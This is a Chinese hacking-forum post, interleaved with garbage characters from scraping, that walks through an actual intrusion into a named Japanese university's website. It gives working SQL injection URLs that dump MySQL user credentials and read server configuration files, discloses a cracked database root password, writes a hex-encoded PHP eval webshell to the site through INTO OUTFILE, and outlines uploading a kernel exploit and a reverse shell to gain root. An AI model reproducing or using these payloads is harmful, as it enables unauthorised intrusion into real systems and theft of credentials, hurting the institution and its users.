入侵日本同志社大学技术分析 `5 v: [9 H3 F0 F5 z+ O! [
8 T0 C' r/ m: p* `http://www.doshisha.ac.jp/chs/news/index.php?i=-1- k X0 a; e3 g/ y
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
. R7 i* P: t$ `, G0 c. _ @
8 r, O" A5 H5 [2 Rhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
/ q! `$ v' _( {6 c n$ V
3 v7 F7 W) B+ u
& B9 G- ^4 C. M4 T* U( K( G/ x2 {( u h- D3 d. v0 V
//@@datadir为数据库文件路径
+ y. f6 _3 r4 ~8 X / M. ] I: v+ `9 l; [8 j
7 S! c; h' c3 r. |9 U4 H1 h* a//load_file读取网站容器apache的配置文件 5 }4 C% u( ?6 K0 n( i c
# A8 L2 V1 ?. `0 O+ e
' D$ y( E9 d y//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ( c4 X6 [" t6 O7 |" ]9 c8 G! P
复制代码# i2 m, A" o$ @6 G
! B, A, B+ T, \) B( d
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。/ G, H1 R) d, g; p3 b& x# Y$ q
7 y3 `4 B$ u+ ]1 h- ]而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。5 E5 E9 K& H b$ k' T1 u5 g4 {! G2 V
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)5 o- s5 j% |8 }( S* W5 e( q
6 a$ t4 d( B/ Y前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
- A- f- N! `' O, y q如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
/ y6 l/ J7 V9 z: U3 A3 S/ k7 l8 K# s! O
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
! P8 R- e4 }) ]; Z/ x a9 e虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。 y. N6 N$ E5 t" c8 e h3 G+ {8 x
直接写一句话:* T/ b% S) u0 r3 C- p% N
" M$ ?/ m( I2 O+ U2 m% Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#" m' I8 O* ^4 d+ N/ N
) Z5 v! |: |2 r- S4 \ B1 N, ^
+ _8 f# g$ q1 w: X( {) @* R( K8 _
- U C M5 H5 F6 U//最后的#是为了闭合前面的语句
% ]7 p) h, `* n: l7 v8 q2 z$ P
/ h7 L. r8 c4 _5 v; f: s) B8 |. [8 L4 |: K8 u7 R6 k1 L
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 t4 O* F6 B, m M5 n
) W" u2 P5 R( u7 E5 c8 [3 x7 d) P1 R4 ?) z; }( C+ r% P
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ : Y! ?1 U2 j8 V# m
2 ?) `7 n/ ^* N2 B' Q$ K* u, n. F' ?
& J: R% E- s0 B//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 : X/ ]9 X$ o9 r' N
2 n- X2 ]6 ?) e- e" F2 h( M
2 A% [3 D1 F3 q6 M2 v! f# ]2 J//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
7 B: _& k; m! h; ^1 F//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” $ S$ t0 C& k2 n- S
复制代码" l1 D0 ?) F* A, i8 G: M4 u6 F
: g1 F2 A! o2 W6 {
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有! S w6 j3 U% U
通过上述注入语句,我们就得到了一句话木马:. f* [; y* O5 [8 |
' L) j }+ k4 D! {6 G$ w
6 d& \! `: d/ Q) @* W* L
/ H9 |9 ]! \7 r
( s6 w+ l, S/ S6 n% G/ F, J
, R; X$ M8 R! N0 v! z* l' v' {2 ^http://www.doshisha.ac.jp/english/engnews_img/aa.php - ]& j& Y# e9 }; b: v- Z5 |; l8 U9 Q
复制代码
: x% L6 A9 I$ Y) _4 Z
/ A5 |' W& U4 O9 P5 |% C; w用菜刀连接,密码是cmd,如图所示:
$ ^! o% S U% t9 i8 ^然后在命令提示行里看了一下,现在的权限是:6 x) p$ S* K' R' P# Z
! [- {- ~ N7 W2 }9 x v- N之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。+ F) y p8 F9 q! o6 A: |' u
好在赋权给这个文件夹不需要root,直接执行赋权语句:, L' N# k) s1 f+ @7 i/ M3 Q' T& V
3 r8 S* K) J1 H% u0 g
& ~4 H* O5 j8 e6 y7 I3 Z) d' m+ z5 M: d$ |( o2 K
: L7 Z+ X7 S) c5 h5 \: m, m
$ ^6 X l6 O5 dchmod +x /tmp/
; W( x* h! W& D9 E& T1 q9 o复制代码
0 E9 E" C) ^# [0 F/ c% P; S8 Q6 C$ Q# {
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
# q' t( o$ H, ~/ O然后就查了一下内核版本:
5 x& ^2 E) |5 w$ r$ n, ]
' j3 f) R2 [7 g7 k. s4 u+ \' R7 k2 L
; k' ~8 ^$ j4 A% o5 D f+ @( L, S
* K5 p [7 D5 p: V. Q
- i* G6 m! y; X* x: y. `9 W# N
uname-a
/ m3 G+ f" R+ l( [, G
+ t! [4 X" r1 f/ S* C! h3 Q! Y$ A* A8 u0 s
//其实lsb_release -a 8 T" h9 ^, ` B& m, e& Z. a
复制代码
( `- y( u3 Y' y/ _! b$ w$ l" l! h B5 n' e& ~
如图所示:
; |! x2 w% t6 Z1 a5 t1 @7 G2 P, |% P5 _7 L
内核版本:linux mainz1 2.6.28-194.e15! }9 d3 f4 @9 X( _8 [, w
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
+ H9 v& ~9 z: B. r查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹5 J$ H: m; N7 l/ k( ?" C
8 N( K" n! |3 A n2 H: P然后给予执行权限
9 S W+ s% A' ^6 }0 } x/ @- p一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
) L; b& M( t- v
4 z ]* y/ }; s3 s 1 ~& r# z0 w1 x! y2 }
0 v' O2 G5 S: v/ d6 D
' F2 ?7 Z0 y7 w3 U8 F1 t( ^; C' R& ^4 L1 I3 m1 T! z. W
chmod +x /tmp/2.6.18-194 5 L3 {" G7 i, g: N% E: j0 O
复制代码 然后直接执行!~) J! g4 W2 s' k
' k, \* F5 O3 M7 W
总结:, M- m/ O; r8 i$ S
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
; _( Z$ s5 o- c7 U% z2 P" `提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root: @5 `* y2 l+ b0 Z. P6 R
7 w- t. E; ?3 u+ N4 K |